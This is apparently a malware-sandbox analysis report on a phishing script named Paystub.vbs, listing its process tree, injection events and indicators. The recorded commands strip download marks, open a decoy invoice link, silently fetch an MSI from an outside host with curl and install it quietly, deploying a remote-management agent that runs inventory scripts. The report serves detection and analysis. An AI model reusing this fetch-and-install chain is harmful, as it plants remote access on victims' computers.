Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeShutdownPrivilege	3180	MsiExec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeBackupPrivilege	5964	action1_agent.exe
Token: SeBackupPrivilege	5964	action1_agent.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
6084	msiexec.exe
3388	msiexec.exe
5104	MsiExec.exe
3180	MsiExec.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 3452 wrote to memory of 4628	3452	WScript.exe	89
PID 4628 wrote to memory of 3388	4628	wscript.exe	90
PID 4628 wrote to memory of 3568	4628	wscript.exe	92
PID 3568 wrote to memory of 4448	3568	msedge.exe	93
PID 3568 wrote to memory of 4144	3568	msedge.exe	94
PID 3568 wrote to memory of 4660	3568	msedge.exe	95
PID 3568 wrote to memory of 4660	3568	msedge.exe	95
PID 3568 wrote to memory of 4660	3568	msedge.exe	95
PID 3568 wrote to memory of 1892	3568	msedge.exe	96
PID 3568 wrote to memory of 1892	3568	msedge.exe	96
PID 3568 wrote to memory of 3032	3568	msedge.exe	98
PID 3568 wrote to memory of 3032	3568	msedge.exe	98
PID 3568 wrote to memory of 3032	3568	msedge.exe	98
PID 3568 wrote to memory of 4392	3568	msedge.exe	99
PID 3568 wrote to memory of 4392	3568	msedge.exe	99
PID 3568 wrote to memory of 4392	3568	msedge.exe	99
PID 3568 wrote to memory of 2556	3568	msedge.exe	100
PID 3568 wrote to memory of 5288	3568	msedge.exe	101
PID 3568 wrote to memory of 2556	3568	msedge.exe	100
PID 3568 wrote to memory of 2556	3568	msedge.exe	100
PID 3568 wrote to memory of 5288	3568	msedge.exe	101
PID 3568 wrote to memory of 5288	3568	msedge.exe	101
PID 4628 wrote to memory of 4768	4628	wscript.exe	102
PID 3568 wrote to memory of 5620	3568	msedge.exe	104
PID 3568 wrote to memory of 5620	3568	msedge.exe	104
PID 3568 wrote to memory of 5640	3568	msedge.exe	105
PID 3568 wrote to memory of 5640	3568	msedge.exe	105
PID 3568 wrote to memory of 5116	3568	msedge.exe	106
PID 3568 wrote to memory of 5116	3568	msedge.exe	106
PID 3568 wrote to memory of 4228	3568	msedge.exe	108
PID 3568 wrote to memory of 4228	3568	msedge.exe	108
PID 3568 wrote to memory of 4228	3568	msedge.exe	108
PID 3568 wrote to memory of 1544	3568	msedge.exe	109
PID 3568 wrote to memory of 1144	3568	msedge.exe	110
PID 3568 wrote to memory of 1544	3568	msedge.exe	109
PID 4628 wrote to memory of 4008	4628	wscript.exe	111
PID 3568 wrote to memory of 4948	3568	msedge.exe	114
PID 4628 wrote to memory of 6084	4628	wscript.exe	115
PID 3568 wrote to memory of 680	3568	msedge.exe	119
PID 3568 wrote to memory of 680	3568	msedge.exe	119
PID 3388 wrote to memory of 5104	3388	msiexec.exe	120
PID 3388 wrote to memory of 3180	3388	msiexec.exe	121
PID 5964 wrote to memory of 4432	5964	action1_agent.exe	124
PID 5964 wrote to memory of 4924	5964	action1_agent.exe	126
PID 3568 wrote to memory of 4668	3568	msedge.exe	132
PID 3568 wrote to memory of 4796	3568	msedge.exe	133
PID 3568 wrote to memory of 4320	3568	msedge.exe	134
PID 4924 wrote to memory of 2952	4924	powershell.exe	172
PID 5964 wrote to memory of 2748	5964	action1_agent.exe	193
PID 5964 wrote to memory of 5768	5964	action1_agent.exe	139
PID 5768 wrote to memory of 5064	5768	powershell.exe	246
PID 5964 wrote to memory of 1528	5964	action1_agent.exe	142
PID 5964 wrote to memory of 1312	5964	action1_agent.exe	144
PID 1312 wrote to memory of 1352	1312	powershell.exe	146
PID 5964 wrote to memory of 4148	5964	action1_agent.exe	147
PID 5964 wrote to memory of 5680	5964	action1_agent.exe	149

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	33	curl/8.8.0

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Paystub.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3452
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Paystub.vbs" /prepared
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\Paystub.vbs:Zone.Identifier"
    3⤵
    PID:3388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://receipt-one-pearl.vercel.app/invoice_payment.pdf
    3⤵
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x2c8,0x7ff88f7ac188,0x7ff88f7ac194,0x7ff88f7ac1a0
      4⤵
      PID:4448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1960,i,13336627910830346320,16566664759590109101,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:11
      4⤵
      System Time Discovery
      PID:4144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1644,i,5865738459127823681,12774867821870183750,262144 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:2
      4⤵
      PID:4660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2664,i,6792223753358389914,12916646968732674140,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=2660 /prefetch:13
      4⤵
      PID:1892
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3556,i,8964220068977672694,14530011334465666470,2097152 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
      4⤵
      PID:3032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3052,i,16903461436123547598,9894359437445762102,2097152 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:1
      4⤵
      PID:4392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4360,i,11782680294283344602,7413015659727396298,2097152 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:1
      4⤵
      PID:2556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4376,i,14543930721408700510,4512014432358763951,2097152 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:9
      4⤵
      PID:5288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3628,i,10056157736889100920,3904328653200285408,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:14
      4⤵
      PID:5620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5488,i,15172822281005597139,16494299977294101293,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:14
      4⤵
      PID:5640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5496,i,2580808003017125235,9989207123063783636,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:14
      4⤵
      PID:5116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6064,i,15788215931300314763,10562066441659075638,2097152 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:1
      4⤵
      PID:4228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5868,i,2392511271166346434,7961225914797940237,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:14
      4⤵
      PID:1544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,14071807750767254761,9372616160100805374,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:14
      4⤵
      PID:1144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6988,i,1174564257369785997,8055815481457245409,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=6996 /prefetch:14
      4⤵
      PID:4296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6988,i,1174564257369785997,8055815481457245409,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=6996 /prefetch:14
      4⤵
      PID:4948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7100,i,17988867333350877207,3384741561607417516,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=7232 /prefetch:14
      4⤵
      PID:680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3664,i,7843978854682615531,12088049492120212539,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=6984 /prefetch:14
      4⤵
      PID:4668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7552,i,15772264428736922839,7348294211049487522,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=7524 /prefetch:14
      4⤵
      PID:4796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,14425909426701273010,14511766882602584659,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=7052 /prefetch:14
      4⤵
      PID:4320
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2160,i,13041041429414626781,11264041843691958937,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:14
      4⤵
      PID:4696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3452,i,9207346593560779011,1282363163633320870,524288 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=6952 /prefetch:14
      4⤵
      PID:2892
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7580,i,17466478571485927775,17355943082483940529,262144 --field-trial-handle=2352,i,9958335669089038435,15951622060924590700,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:10
      4⤵
      PID:3444
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" --silent --location --fail --output "C:\Users\Admin\AppData\Local\Temp\action1.msi" "https://receipt-one-pearl.vercel.app/action1.msi"
    3⤵
    PID:4768
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\action1.msi:Zone.Identifier"
    3⤵
    PID:4008
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /package "C:\Users\Admin\AppData\Local\Temp\action1.msi" /quiet /norestart
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:6084

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1624

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3388
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FAF5A2442241D5AB81E9991F276114B7
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5104
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5F0AF4E53B3D7C3BDDFE6C3E4C931F9E E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3180

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3384

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5964
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4432
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2952
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2748
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5768
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5064
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1528
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Hardware Summary_2037-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1352
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Updates_2010-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4148
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Running Processes_2030-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5680
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MS Outlook Versions_2043-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4560
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Drivers_2024-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2616
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Installed Printers_2025-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2516
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Monitors_2026-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2096
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1284
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Services_2033-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:488
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Status_2064-1789648244.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6000
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Bitlocker Key_2046-1789648244.ps1"
  2⤵
